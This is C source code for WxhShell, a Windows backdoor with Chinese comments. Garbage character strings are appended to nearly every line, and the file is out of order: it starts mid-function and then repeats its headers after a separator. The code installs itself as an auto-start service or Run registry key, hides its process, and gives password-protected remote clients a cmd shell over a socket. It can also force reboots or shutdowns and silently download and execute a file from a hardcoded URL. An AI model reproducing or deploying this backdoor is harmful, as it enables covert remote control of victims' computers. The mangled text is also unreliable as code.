    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k~#|8eLv  
    if(Boot(SHUTDOWN)) Q8x{V_Pot  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a%!XLyq  
    else { @9h#o5y q  
    closesocket(wsh); !`_f\  
    ExitThread(0); =dBrmMh  
    } HWhKX:`l  
    break; a,~P_B|@  
    } ? st#6=M  
  // 获取shell 0I((UA/7Zs  
  case 's': { ,*[LnR  
    CmdShell(wsh); 'EV  *-_k  
    closesocket(wsh); G C'%s  
    ExitThread(0); CiI: uU  
    break; _w;+Jh  
  } :Y>] 6  
  // 退出 At(9)6n8  
  case 'x': { !j9i=YDb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mPin\-I  
    CloseIt(wsh); B: ~;7A\  
    break; \NU [DHrMP  
    } l;A_Aii(  
  // 离开 cEdJn@ ,  
  case 'q': { 'cN#rHPB6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }yw;L(3  
    closesocket(wsh); 9/Dt:R3QU  
    WSACleanup(); N| Pm|w*?  
    exit(1); Y}uQ`f  
    break; 4P!DrOB  
        } %wW5)Y I  
  } AnY)T8w  
  } /zf>>O`  
v4_OUA>z,  
  // 提示信息 ~C'nBV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FH8mK)  
} #<Nvy9  
  } NCnId}BT  
hxVM]e[  
  return; k!=GNRRZE  
} r)(BT:2m  
X'7S|J6s  
// shell模块句柄 jHH  
int CmdShell(SOCKET sock) O/9%"m:i  
{ WG !t!1p  
STARTUPINFO si; rs Uw(K^  
ZeroMemory(&si,sizeof(si)); *g4Cy 8$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]A$^ l,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Treh{s  
PROCESS_INFORMATION ProcessInfo; !9xANSb  
char cmdline[]="cmd"; j9ta0~x1*6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4V|z)=)A  
  return 0; yM:~{;HLF  
} h5rP]dbhXU  
R.IUBw5;/  
// 自身启动模式 J xm9@,  
int StartFromService(void) 07Q[L'}y@  
{ FJ~_0E#L  
typedef struct $H-D9+8 7  
{ 1{x~iZa  
  DWORD ExitStatus; ZT"|o\G^Q  
  DWORD PebBaseAddress; 7. 9s.*  
  DWORD AffinityMask; ynZ[c8.  
  DWORD BasePriority; ;K\N  
  ULONG UniqueProcessId; C6UMc} 9h  
  ULONG InheritedFromUniqueProcessId; ?w37vsN  
}   PROCESS_BASIC_INFORMATION; '$h @  
D4Y!,7WEVt  
PROCNTQSIP NtQueryInformationProcess; CKt|c!3 7  
ESxC{ "  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BX(d"z b<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? ZHE8  
?h)3S7  
  HANDLE             hProcess; )^f9[5ee  
  PROCESS_BASIC_INFORMATION pbi; %}MA5 t]o  
;%7XU~<a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QHs:=i~VH  
  if(NULL == hInst ) return 0; }SMJD  
cbCE $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NQ!N"C3u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nj^q@h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ccn`f]5w  
5m.KtnT)  
  if (!NtQueryInformationProcess) return 0; .\~P -{Hd  
R g0 XW6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \W`}L  
  if(!hProcess) return 0; J'ZFIT_>  
SXBQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T]#,R|)d  
zz 'dg-F  
  CloseHandle(hProcess); vN,}aV2nq  
mE^tzyh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >!Ap/{2  
if(hProcess==NULL) return 0; nKjeH@&#  
\gp,Txueb  
HMODULE hMod; 7t-*L}~WA  
char procName[255]; `@$"L/AJ  
unsigned long cbNeeded; B}q  
?$J7%I@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3W-NS~y  
h76NR  
  CloseHandle(hProcess); Dl zmAN  
Sz|Y$,  
if(strstr(procName,"services")) return 1; // 以服务启动 sh !~T<yy  
W?^8/1U  
  return 0; // 注册表启动 qXB03}] G  
} ? gA=39[j  
~w1{zxs  
// 主模块 fs rg2:kQ  
int StartWxhshell(LPSTR lpCmdLine) +(<n |~  
{ <RoX|zJw  
  SOCKET wsl; 20/P M9  
BOOL val=TRUE; i|c`M/) h:  
  int port=0; A&|Wvb=  
  struct sockaddr_in door; K/wiL69  
X40la_[.  
  if(wscfg.ws_autoins) Install(); hINnb7 o  
Q.9Ph ~  
port=atoi(lpCmdLine); jTd4H)  
I(^jOgYU  
if(port<=0) port=wscfg.ws_port; d4p{5F7]^  
^A 11h6I  
  WSADATA data; u+z .J4w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ufaqhh  
1o|0x\q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xH"W}-#[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?GUz?'d  
  door.sin_family = AF_INET; Ez/\bE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N &I8nZ9  
  door.sin_port = htons(port); S2'`|uI  
vJTfo#C|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c#{Ywh  
closesocket(wsl); ~mXZfG/D  
return 1; l:zU_J6  
} .#=j <&  
`z-H]fU  
  if(listen(wsl,2) == INVALID_SOCKET) { -7-Fd_F8  
closesocket(wsl); BrNG%%n  
return 1; $Yx6#m}[M  
} FXOT+9bg  
  Wxhshell(wsl); io t.E%G  
  WSACleanup(); RwAbIXG{0  
Yg=E@F   
return 0; Z:_m}Ya|  
r/CEYEJ&X  
} U`bC>sCp  
_W@,@hOH  
// 以NT服务方式启动 fa!3/X+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lFp!XZ!  
{ 1u"R=D9p,=  
DWORD   status = 0; c&7Do}  
  DWORD   specificError = 0xfffffff; %rpR-}j  
]]p19[4s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5,HCeN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gdoJ4b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g.[+yzuE6  
  serviceStatus.dwWin32ExitCode     = 0; r#_7]_3  
  serviceStatus.dwServiceSpecificExitCode = 0; *[d~Nk%Y$  
  serviceStatus.dwCheckPoint       = 0; u<l# xud  
  serviceStatus.dwWaitHint       = 0; IF&g.R  
O`wYMng)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qDby!^ryc  
  if (hServiceStatusHandle==0) return; a. h?4+^bN  
xa87xX=a  
status = GetLastError(); o &BPG@n  
  if (status!=NO_ERROR) OW+e_im}  
{ v}7@CP]nV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P]pmt1a  
    serviceStatus.dwCheckPoint       = 0; O" % Hprx  
    serviceStatus.dwWaitHint       = 0; E$]a?uA:  
    serviceStatus.dwWin32ExitCode     = status; ftYR,!&  
    serviceStatus.dwServiceSpecificExitCode = specificError; b@=z rhQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RH!SW2o<  
    return; V/aQ*V{  
  } H|PrsGW  
y#b;uDY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xGKfej9  
  serviceStatus.dwCheckPoint       = 0; b%Wd<N2  
  serviceStatus.dwWaitHint       = 0; KqN!?anPr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =ud `6{R  
}  M*d-z  
wXc,FD$  
// 处理NT服务事件,比如:启动、停止 ~?FK ; (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )-0[ra]  
{ eQ$N:]  
switch(fdwControl) ' 2>l  
{ 84iJ[Fq{  
case SERVICE_CONTROL_STOP: "#*Nnt  
  serviceStatus.dwWin32ExitCode = 0; @4;HC=~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _FL<egK  
  serviceStatus.dwCheckPoint   = 0; Q/9a,85  
  serviceStatus.dwWaitHint     = 0; ^g9}f  
  { F|ETug n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jzk!K@  
  } Y{,2X~ 7  
  return; ?V#Gx>\  
case SERVICE_CONTROL_PAUSE: &(g m4bTg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hab!qWK`  
  break; OZG0AX+=#  
case SERVICE_CONTROL_CONTINUE: 66oK3%[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zLh Fbyn(  
  break; |kId8WtA  
case SERVICE_CONTROL_INTERROGATE: q#;BhPc  
  break; :FnOS<_B  
}; LFCTr/,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2bWUa~%B  
} -r!42`S  
7nm}fT z7  
// 标准应用程序主函数 P?uf?{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8|w-XR  
{ Was'A+GZ  
hQJo ~'W=  
// 获取操作系统版本 [u[ U_g*  
OsIsNt=GetOsVer(); (G#}*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z*9L'd"D|  
f7Yz>To  
  // 从命令行安装 8fnR1mWG  
  if(strpbrk(lpCmdLine,"iI")) Install(); pP3U,n   
mn. `qfMh  
  // 下载执行文件 HC J;&C73&  
if(wscfg.ws_downexe) { USprsaj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FS8S68  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6{Ks`Af  
} +Z ><  
Gi*<~`Gr  
if(!OsIsNt) { PCtkjd  
// 如果时win9x,隐藏进程并且设置为注册表启动 3 :UA<&=s  
HideProc(); RYt6=R+f  
StartWxhshell(lpCmdLine); J=):+F=  
} 5lO^;.cS,  
else V7P6zAJy  
  if(StartFromService()) oB4#J*   
  // 以服务方式启动 N*f^Z#B]  
  StartServiceCtrlDispatcher(DispatchTable); Rxx>{+f4M  
else L.kD,'G}>  
  // 普通方式启动 KCD5*xH  
  StartWxhshell(lpCmdLine); D%A@lMru  
P 4QkY#v  
return 0; lDC}HC  
} g&bwtEZ  
|ixGY^3;  
}hCaNQ&jH  
Ss 2$n  
=========================================== Z9xR  
^1.7Juvb  
$:e)$Xnn-  
?s%v 3T  
_e*c  
mY`@'  
" i *B:El1  
WKxm9y V  
#include <stdio.h> ` VwN!B:  
#include <string.h> Ae6("Oid  
#include <windows.h> ?ZaD=nh$mK  
#include <winsock2.h> Wk}D]o0^@  
#include <winsvc.h> O] H=s  
#include <urlmon.h> _#FIay\ahB  
c#  xO<  
#pragma comment (lib, "Ws2_32.lib") %[XY67A3I  
#pragma comment (lib, "urlmon.lib") ?I\v0H*  
t=i/xG:5  
#define MAX_USER   100 // 最大客户端连接数 *="m3:c'J  
#define BUF_SOCK   200 // sock buffer 9\>sDSCx  
#define KEY_BUFF   255 // 输入 buffer Jh?z=JY  
n26>>N  
#define REBOOT     0   // 重启 ;b1wk^,Hw~  
#define SHUTDOWN   1   // 关机 gH'_ymT= 3  
9^!wUwB  
#define DEF_PORT   5000 // 监听端口 x<s|vgl|  
n8$=f'Hgb  
#define REG_LEN     16   // 注册表键长度 XCm\z9F  
#define SVC_LEN     80   // NT服务名长度 =-qf;5[|  
7b46t2W<  
// 从dll定义API y:,9I` aW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8?1o<8hV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ft) lp>3gv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "J !}3)n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @zrNN>  
GmbIFOT~  
// wxhshell配置信息 # kEOKmO  
struct WSCFG { ec?V[v  
  int ws_port;         // 监听端口 88g47>{X  
  char ws_passstr[REG_LEN]; // 口令 }/p/pVz  
  int ws_autoins;       // 安装标记, 1=yes 0=no `NSy"6{Z  
  char ws_regname[REG_LEN]; // 注册表键名 %[ /<+  
  char ws_svcname[REG_LEN]; // 服务名 f>z`i\1oO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5oJ Dux }  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .LObOR 5J7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h@@d{{IqT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UiIF6-ZZ!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _f3 WRyN0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Y2m md  
z]$>+MH_  
}; ?'w sIH]m  
Vho0e V=  
// default Wxhshell configuration 30_ckMG"g  
struct WSCFG wscfg={DEF_PORT, |s f*hlrJ  
    "xuhuanlingzhe", Mlj#b8  
    1, jo_ sAb  
    "Wxhshell", E:w:4[neh  
    "Wxhshell", g~ !$i`_b  
            "WxhShell Service", vCb]%sd-U  
    "Wrsky Windows CmdShell Service", VNj@5s  
    "Please Input Your Password: ", ]'k[u  
  1, ?'sXgo.}  
  "http://www.wrsky.com/wxhshell.exe", 8%ik853`  
  "Wxhshell.exe" b+@D_E-RJ  
    }; IqUp4}  
Z>2]Xx% \  
// 消息定义模块 HabzCH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *QH[,F`I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8bOT*^b$H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h$ Da&$uyI  
char *msg_ws_ext="\n\rExit."; :6lwO%=F  
char *msg_ws_end="\n\rQuit."; yU7I;]YP  
char *msg_ws_boot="\n\rReboot..."; sx5r(0Z  
char *msg_ws_poff="\n\rShutdown..."; SY1GR n  
char *msg_ws_down="\n\rSave to "; 0^#DNq*NQ  
p7C!G1+z  
char *msg_ws_err="\n\rErr!"; CCqT tp  
char *msg_ws_ok="\n\rOK!"; WeC(w+}p  
&g0g]G21*I  
char ExeFile[MAX_PATH]; :#$F)]y'\  
int nUser = 0; J#aVo &.Y  
HANDLE handles[MAX_USER]; <MdGe1n  
int OsIsNt; -;pOh;WG  
((|IS[  
SERVICE_STATUS       serviceStatus; #s2B%X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZJ(rG((!  
os$nL'sq  
// 函数声明 O?ktWHUx  
int Install(void); =& -[TPW  
int Uninstall(void); OOB^gf}$'  
int DownloadFile(char *sURL, SOCKET wsh); zZ=$O-&%  
int Boot(int flag); YH\j@ ^n  
void HideProc(void); =yqHC<8:  
int GetOsVer(void); ;S JF%@x  
int Wxhshell(SOCKET wsl); vT7g<  
void TalkWithClient(void *cs); nbmc[!PwG  
int CmdShell(SOCKET sock); tZA:  
int StartFromService(void); -(IC~   
int StartWxhshell(LPSTR lpCmdLine); y ~AmG~  
S&?7K-F>_o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i:Y\`J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l6 7KJ  
i-lKdpv  
// 数据结构和表定义 KDey(DN:  
SERVICE_TABLE_ENTRY DispatchTable[] = "8(U\KaX  
{ eH <Jng  
{wscfg.ws_svcname, NTServiceMain}, ai;\@$ cq  
{NULL, NULL} 6>DLp}d  
}; Qhy#r  
rLF*DB3l  
// 自我安装 #?&0D>E?k  
int Install(void) HY)ESU !  
{ mqFq_UX/ T  
  char svExeFile[MAX_PATH]; ;&f1vi4  
  HKEY key; ^o d<JD4  
  strcpy(svExeFile,ExeFile); !/hsJ9  
2P9J' L  
// 如果是win9x系统,修改注册表设为自启动 8S  U%  
if(!OsIsNt) { KcXpH]>!9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FifbxL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'UfeluMd  
  RegCloseKey(key); - k`.j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -9o{vmB{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!Zyl^  
  RegCloseKey(key); v0@)t&O  
  return 0; w sY}JT  
    } &[j]Bp?  
  } *YvRNHP  
} pn\V+Rg'  
else { 1`-r#-MGG  
q;A;H)?g  
// 如果是NT以上系统,安装为系统服务 CMl~=[foW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'M/ ([|@  
if (schSCManager!=0) K+),?Q ?.p  
{ lf$Ve  
  SC_HANDLE schService = CreateService fKkjn4&W  
  ( 9lspo~M  
  schSCManager, Ty+I8e]{  
  wscfg.ws_svcname, )`?%]D  
  wscfg.ws_svcdisp, MYdx .NZT  
  SERVICE_ALL_ACCESS, U<bYFuS"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tcL2J.  
  SERVICE_AUTO_START, Z8&' f,  
  SERVICE_ERROR_NORMAL, CAgaEJhX3  
  svExeFile, kso*}uh0  
  NULL, gx;O6S{  
  NULL, )^/0cQcJ  
  NULL, >Ko[Xb-8^_  
  NULL, `\b+[Nes  
  NULL 36$[   
  ); o""~jc~  
  if (schService!=0) KCtX $XGL  
  { WzlC*iv  
  CloseServiceHandle(schService); I>"Ci(N  
  CloseServiceHandle(schSCManager); 'HaD~pa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4JO@BV>t  
  strcat(svExeFile,wscfg.ws_svcname); +jV_Wz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `&*bM0(J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wk[ wNIu  
  RegCloseKey(key); ([LIjaoi  
  return 0; b{&FuvQg2  
    } '3;v] L?G  
  } 2 ZG@!Y|  
  CloseServiceHandle(schSCManager); <Ar$v'W=F{  
} &u8z5pls8  
} OJ,m1{9$}  
h?j_Ry  
return 1; `X -<$x  
} 9l !S9d  
C}"@RHEu  
// 自我卸载 ?<~WO?  
int Uninstall(void) #n7Yr,|Z  
{ QK <\kVZ8  
  HKEY key; ]WL|~mG  
h-XY4gq/  
if(!OsIsNt) { NFyMY#\]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5D' bJ6PO  
  RegDeleteValue(key,wscfg.ws_regname); '`l K'5;  
  RegCloseKey(key); l(:kfR~AC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2\@Z5m3B  
  RegDeleteValue(key,wscfg.ws_regname); N|dD!  
  RegCloseKey(key); $p$dKH  
  return 0; ;j'Daupt;=  
  } Zb(t3I>n  
} srmKaa|  
} I}.i@d'O  
else { :uK btoA  
CL9yEy"V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r"]'`qP,  
if (schSCManager!=0) jw>h k  
{ jk7 0u[\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S/gm.?$V  
  if (schService!=0) g22gIj]  
  { Pe$6s:|NS  
  if(DeleteService(schService)!=0) { o"q+,"QL  
  CloseServiceHandle(schService); S`= WF^  
  CloseServiceHandle(schSCManager); -Kxc$}  
  return 0; V|FrN*m  
  } v1+U;Th>g  
  CloseServiceHandle(schService); nWaNT-  
  } gH7z  
  CloseServiceHandle(schSCManager); APSgnf  
} b?VV'{4  
} H3O@9YU  
dULS^i@@  
return 1; G0d&@okbFC  
} ?F@%S3h.  
8Y{s;U0n  
// 从指定url下载文件 }Dfwm)]Q  
int DownloadFile(char *sURL, SOCKET wsh) <hvRP!~<)  
{ 1>pe&n/  
  HRESULT hr; !Q %P%P<$  
char seps[]= "/"; Q{y{rC2P  
char *token; 0(\+-<  
char *file; 2 y8~#*O  
char myURL[MAX_PATH]; rAukHeH  
char myFILE[MAX_PATH]; "(TkJbwC[  
g8pO Lr'  
strcpy(myURL,sURL); ;JTt2qQKo  
  token=strtok(myURL,seps); Lp&k3?W  
  while(token!=NULL) :qj<p3w~}  
  { q,l)I+  
    file=token; g>j| ]6  
  token=strtok(NULL,seps); SF<Vds}A2  
  } f =s&n}  
Mr3-q  
GetCurrentDirectory(MAX_PATH,myFILE); MC!ZX)mF  
strcat(myFILE, "\\"); ?IhB-fd>@  
strcat(myFILE, file); Sc$UZ/qPT  
  send(wsh,myFILE,strlen(myFILE),0); " ;NRzY  
send(wsh,"...",3,0); -$-8W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4IsG=7   
  if(hr==S_OK) Fo|xzLm9*|  
return 0; jna;0)  
else 07_oP(;jT  
return 1; ^DAu5|--R  
0D~ Tga)  
} |m* .LTO  
Ciihsm  
// 系统电源模块 bbN%$/d  
int Boot(int flag) 77,oPLSn  
{ FxW&8 9G  
  HANDLE hToken; p,!$/Q+l  
  TOKEN_PRIVILEGES tkp; {{{#?~3$7  
R[Fn0fnLx  
  if(OsIsNt) { 9lzQ\}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q{' ~+Nq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z@U} ~TvP  
    tkp.PrivilegeCount = 1; gK1g]Tc@G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !iu5OX7K|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |+f-h,  
if(flag==REBOOT) { P,z:Z| }8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M {a #  
  return 0; Le#spvV3J|  
} 1|| nR4yK  
else { vF={9G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "8<K'zeS8  
  return 0; `DW2spd  
} hv)8K'u  
  } {})$ 99"x  
  else { + ,4" u  
if(flag==REBOOT) { e@]-D FG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ff2d @P,!  
  return 0; %,V YiW0  
} E`;;&V q-  
else { 5J.0&Dda  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )e%}b -I'r  
  return 0; !]koSw}  
} @F5f"8!.\  
} <nHkg<O6Y  
w=_Jc8/.  
return 1; U~f4e7x*O  
} i!H!;z#  
4{na+M  
// win9x进程隐藏模块 S\x=&Rz  
void HideProc(void) p9[6^rjx8  
{ > s EjR!  
Frm;Ej3?$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .qD@ Y3-  
  if ( hKernel != NULL ) p3x?[ Ww  
  { yi6N-7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `wz[='yM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b$JBL_U5Ch  
    FreeLibrary(hKernel); #5ax^p2*~  
  } p~jlx~1-]  
&X>7n~@0  
return; 5f7zk  
} a:Q[gF8>  
Z|m`7xeCy  
// 获取操作系统版本 5Jk<xWKj  
int GetOsVer(void) p .K*UP  
{ *VeW?mY,P  
  OSVERSIONINFO winfo; <=um1P3X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vT{kL  
  GetVersionEx(&winfo); Qu\@Y[eia5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F2I 5q C/  
  return 1; x~DLW1I  
  else ocRdbmS  
  return 0; @cvP0A  
} ` }gbc69  
PX O!t]*  
// 客户端句柄模块 >t+ qe/  
int Wxhshell(SOCKET wsl) ^>c8t_RG  
{ F`+\>ae$h  
  SOCKET wsh; S33j?+ Vs  
  struct sockaddr_in client; ,[rPe\w.z  
  DWORD myID; e{w>%)rcP  
:QQlI  
  while(nUser<MAX_USER) k3Cz9Vt%  
{ hvV_xD8|  
  int nSize=sizeof(client); ODw`E9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h1D?=M\9  
  if(wsh==INVALID_SOCKET) return 1; |L3X_Me  
x hs#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7L(e h7  
if(handles[nUser]==0)  J m{  
  closesocket(wsh); ^_5|BT@  
else &Z("D7.G  
  nUser++; n{5NNV6  
  } m?CZQq,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4mYCSu14:`  
?8V UO x  
  return 0; np$ zo  
} #=c`of6  
^q[gxuL_  
// 关闭 socket `FF8ie8L  
void CloseIt(SOCKET wsh) D)b}f`  
{ s'HD{W`  
closesocket(wsh); db72W x0>  
nUser--; a$11PBi[9  
ExitThread(0); 0HeD{TH\  
} K >tf,  
zd %rs~*c  
// 客户端请求句柄 P.\nLE J=  
void TalkWithClient(void *cs) e79KbLV  
{ LO%!Z,}   
rfcN/:k  
  SOCKET wsh=(SOCKET)cs; k-LEI}h  
  char pwd[SVC_LEN]; | }&RXD  
  char cmd[KEY_BUFF]; K7TzF&  
char chr[1]; j f~wBm d7  
int i,j; lTRl"`@S  
jQs>`P-CM  
  while (nUser < MAX_USER) { (#\pQ51  
TV59(bG.2  
if(wscfg.ws_passstr) { s<QkDERMX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r4}*l7Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %ati7{2!  
  //ZeroMemory(pwd,KEY_BUFF); .giz=* q+  
      i=0; . )XP\ m\  
  while(i<SVC_LEN) { @I3eK^#|P  
q1VH5'p@  
  // 设置超时 b{M7w  
  fd_set FdRead; n`7f"'/:  
  struct timeval TimeOut; PA;6$vqX  
  FD_ZERO(&FdRead); |9K<-yD  
  FD_SET(wsh,&FdRead); W m&  
  TimeOut.tv_sec=8; "j<bA8$Vw  
  TimeOut.tv_usec=0; ,yMU@Vg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +JyUe    
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k\r(=cex6  
?knYY>Kzh1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /*)Tl   
  pwd=chr[0]; %D}H|*IPu  
  if(chr[0]==0xd || chr[0]==0xa) { N!&:rK  
  pwd=0; _RkuBOv@e  
  break; f2I6!_C!+  
  } myFAKRc  
  i++; v}JD2.O+  
    } yzsab ^]  
K{fsn4rk  
  // 如果是非法用户,关闭 socket &K+0xnUH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]88];?KS}  
} qPGuo5^  
V7Yaks  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kJ:F *34e=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U/{6% Qy  
KDP H6  
while(1) { C(T;>if0NH  
C#pZw[  
  ZeroMemory(cmd,KEY_BUFF); >ezi3Zx^  
5II(mSg8  
      // 自动支持客户端 telnet标准   .4y>QN#VL  
  j=0; 4-GXmC  
  while(j<KEY_BUFF) { bru/AZ#de  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (oz$B0HO:  
  cmd[j]=chr[0]; *LC+ PZV@  
  if(chr[0]==0xa || chr[0]==0xd) { P$GjF-!:  
  cmd[j]=0; TtD@'QXq  
  break; qO1tj'U<  
  } \00DqL(Oj`  
  j++; vxQ8t!-u  
    } ~p0c3*  
o]n!(f<(*  
  // 下载文件 g| <wyt[  
  if(strstr(cmd,"http://")) { YGvUwj'2a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BP[|nL  
  if(DownloadFile(cmd,wsh)) ^ZDBO/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n.oUVr=nX  
  else @F*wg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ter :sge7  
  } VhGs/5  
  else { #V02hs1  
D('2p8;2"7  
    switch(cmd[0]) { 1nknSw#  
